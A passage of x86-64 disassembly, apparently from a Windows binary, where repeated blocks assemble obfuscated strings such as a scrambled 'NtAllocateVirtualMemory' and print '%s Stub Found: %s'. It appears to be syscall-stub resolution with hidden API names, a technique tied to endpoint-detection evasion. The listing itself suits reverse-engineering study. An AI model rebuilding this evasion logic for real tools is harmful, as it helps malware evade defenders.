mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1910]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1910]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1930]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1950]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1970]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1990]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x19b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x19d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x19f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1a10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1a30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1a50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1a70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1a90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1abf]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x1ac0]
mov rcx, qword [rbp + 0x2f08]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x1ac0]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x1400065ee
lea rbx, [0x1400db40b]
jmp 0x1400065f5
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1cef]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x1cef]
lea rax, [rbp + 0x1cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x1ca0]
lea rdx, [rbp + 0x1cc0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1c80]
lea rdx, [rbp + 0x1ca0]
lea r8, [0x1400db44b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1c60]
lea rdx, [rbp + 0x1c80]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1c40]
lea rdx, [rbp + 0x1c60]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1c20]
lea rdx, [rbp + 0x1c40]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1c00]
lea rdx, [rbp + 0x1c20]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1be0]
lea rdx, [rbp + 0x1c00]
lea r8, [0x1400db3f1]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1bc0]
lea rdx, [rbp + 0x1be0]
lea r8, [0x1400db451]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1ba0]
lea rdx, [rbp + 0x1bc0]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1b80]
lea rdx, [rbp + 0x1ba0]
lea r8, [0x1400db42f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1b60]
lea rdx, [rbp + 0x1b80]
lea r8, [0x1400db431]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1b40]
lea rdx, [rbp + 0x1b60]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1b20]
lea rdx, [rbp + 0x1b40]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1b00]
lea rdx, [rbp + 0x1b20]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1ae0]
lea rdx, [rbp + 0x1b00]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1ae0]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1ae0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1b00]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1b20]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1b40]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1b60]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1b80]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1ba0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1bc0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1be0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1c00]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1c20]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1c40]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1c60]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1c80]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1ca0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1cc0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1cef]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x1cf0]
mov rcx, qword [rbp + 0x2f00]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x1cf0]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140006989
lea rbx, [0x1400db40b]
jmp 0x140006990
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x1f7f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x1f7f]
lea rax, [rbp + 0x1f50]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x1f30]
lea rdx, [rbp + 0x1f50]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1f10]
lea rdx, [rbp + 0x1f30]
lea r8, [0x1400db3f1]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1ef0]
lea rdx, [rbp + 0x1f10]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1ed0]
lea rdx, [rbp + 0x1ef0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1eb0]
lea rdx, [rbp + 0x1ed0]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1e90]
lea rdx, [rbp + 0x1eb0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1e70]
lea rdx, [rbp + 0x1e90]
lea r8, [0x1400db439]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1e50]
lea rdx, [rbp + 0x1e70]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1e30]
lea rdx, [rbp + 0x1e50]
lea r8, [0x1400db43b]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1e10]
lea rdx, [rbp + 0x1e30]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1df0]
lea rdx, [rbp + 0x1e10]
lea r8, [0x1400db407]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1dd0]
lea rdx, [rbp + 0x1df0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1db0]
lea rdx, [rbp + 0x1dd0]
lea r8, [0x1400db42f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1d90]
lea rdx, [rbp + 0x1db0]
lea r8, [0x1400db431]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1d70]
lea rdx, [rbp + 0x1d90]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1d50]
lea rdx, [rbp + 0x1d70]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1d30]
lea rdx, [rbp + 0x1d50]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1d10]
lea rdx, [rbp + 0x1d30]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1d10]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1d10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1d30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1d50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1d70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1d90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1db0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1dd0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1df0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1e10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1e30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1e50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1e70]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1e90]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1eb0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1ed0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1ef0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1f10]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1f30]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1f50]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1f7f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x1f80]
mov rcx, qword [rbp + 0x2ef8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x1f80]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140006da8
lea rbx, [0x1400db40b]
jmp 0x140006daf
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x21ef]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x21ef]
lea rax, [rbp + 0x21c0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x21a0]
lea rdx, [rbp + 0x21c0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2180]
lea rdx, [rbp + 0x21a0]
lea r8, [0x1400db453]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2160]
lea rdx, [rbp + 0x2180]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2140]
lea rdx, [rbp + 0x2160]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2120]
lea rdx, [rbp + 0x2140]
lea r8, [0x1400db42d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2100]
lea rdx, [rbp + 0x2120]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x20e0]
lea rdx, [rbp + 0x2100]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x20c0]
lea rdx, [rbp + 0x20e0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x20a0]
lea rdx, [rbp + 0x20c0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2080]
lea rdx, [rbp + 0x20a0]
lea r8, [0x1400db437]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2060]
lea rdx, [rbp + 0x2080]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2040]
lea rdx, [rbp + 0x2060]
lea r8, [0x1400db42f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2020]
lea rdx, [rbp + 0x2040]
lea r8, [0x1400db431]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2000]
lea rdx, [rbp + 0x2020]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1fe0]
lea rdx, [rbp + 0x2000]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1fc0]
lea rdx, [rbp + 0x1fe0]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x1fa0]
lea rdx, [rbp + 0x1fc0]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x1fa0]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x1fa0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1fc0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x1fe0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2000]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2020]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2040]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2060]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2080]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x20a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x20c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x20e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2100]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2120]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2140]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2160]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2180]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x21a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x21c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x21ef]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x21f0]
mov rcx, qword [rbp + 0x2ef0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x21f0]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x14000719b
lea rbx, [0x1400db40b]
jmp 0x1400071a2
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x245f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x245f]
lea rax, [rbp + 0x2430]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x2410]
lea rdx, [rbp + 0x2430]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x23f0]
lea rdx, [rbp + 0x2410]
lea r8, [0x1400db43f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x23d0]
lea rdx, [rbp + 0x23f0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x23b0]
lea rdx, [rbp + 0x23d0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2390]
lea rdx, [rbp + 0x23b0]
lea r8, [0x1400db42d]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2370]
lea rdx, [rbp + 0x2390]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2350]
lea rdx, [rbp + 0x2370]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2330]
lea rdx, [rbp + 0x2350]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2310]
lea rdx, [rbp + 0x2330]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x22f0]
lea rdx, [rbp + 0x2310]
lea r8, [0x1400db437]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x22d0]
lea rdx, [rbp + 0x22f0]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x22b0]
lea rdx, [rbp + 0x22d0]
lea r8, [0x1400db42f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2290]
lea rdx, [rbp + 0x22b0]
lea r8, [0x1400db431]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2270]
lea rdx, [rbp + 0x2290]
lea r8, [0x1400db401]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2250]
lea rdx, [rbp + 0x2270]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2250]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2210]
lea rdx, [rbp + 0x2230]
lea r8, [0x1400db433]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x2210]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x2210]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2230]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2250]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2270]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2290]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x22b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x22d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x22f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2310]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2330]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2350]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2370]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2390]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x23b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x23d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x23f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2410]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2430]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x245f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x2460]
mov rcx, qword [rbp + 0x2ee8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x2460]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x14000758e
lea rbx, [0x1400db40b]
jmp 0x140007595
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x268f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x268f]
lea rax, [rbp + 0x2660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x2640]
lea rdx, [rbp + 0x2660]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2620]
lea rdx, [rbp + 0x2640]
lea r8, [0x1400db455]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2600]
lea rdx, [rbp + 0x2620]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x25e0]
lea rdx, [rbp + 0x2600]
lea r8, [0x1400db3f3]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x25c0]
lea rdx, [rbp + 0x25e0]
lea r8, [0x1400db3f9]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x25a0]
lea rdx, [rbp + 0x25c0]
lea r8, [0x1400db409]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2580]
lea rdx, [rbp + 0x25a0]
lea r8, [0x1400db435]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2560]
lea rdx, [rbp + 0x2580]
lea r8, [0x1400db437]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2540]
lea rdx, [rbp + 0x2560]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2520]
lea rdx, [rbp + 0x2540]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2500]
lea rdx, [rbp + 0x2520]
lea r8, [0x1400db403]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x24e0]
lea rdx, [rbp + 0x2500]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x24c0]
lea rdx, [rbp + 0x24e0]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24c0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2480]
lea rdx, [rbp + 0x24a0]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x2480]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x2480]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x24c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x24e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2500]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2520]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2540]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2560]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2580]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x25a0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x25c0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x25e0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2600]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2620]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2640]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2660]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x268f]
mov rcx, rax
call fcn.140071c60
lea rdx, [rbp + 0x270]
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400a9100
mov r9, qword [rbp + 0x2e90]
mov r8, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2e88]
lea rax, [rbp + 0x2690]
mov rcx, qword [rbp + 0x2ee0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2f70]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2e84], eax
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.1400a9cb0
cmp dword [rbp + 0x2e84], 0
je 0x140007929
lea rbx, [0x1400db40b]
jmp 0x140007930
lea rbx, [0x1400db410]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.14002f430
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x285f]
mov rcx, rax
call fcn.140071c30
lea rdx, [rbp + 0x285f]
lea rax, [rbp + 0x2830]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a9590
lea rax, [rbp + 0x2810]
lea rdx, [rbp + 0x2830]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x27f0]
lea rdx, [rbp + 0x2810]
lea r8, [0x1400db445]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x27d0]
lea rdx, [rbp + 0x27f0]
lea r8, [0x1400db451]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x27b0]
lea rdx, [rbp + 0x27d0]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2790]
lea rdx, [rbp + 0x27b0]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2770]
lea rdx, [rbp + 0x2790]
lea r8, [0x1400db43f]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x1400db3fb]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x1400db3f7]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x1400db3ef]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x1400db3ff]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x1400db3f5]
mov rcx, rax
call fcn.1400ba110
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x1400db441]
mov rcx, rax
call fcn.1400ba110
lea rdx, [rbp + 0x26b0]
lea rax, [rbp + 0x270]
mov rcx, rax
call fcn.1400a9cf0
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.1400a9cb0
lea rax, [rbp + 0x2730]
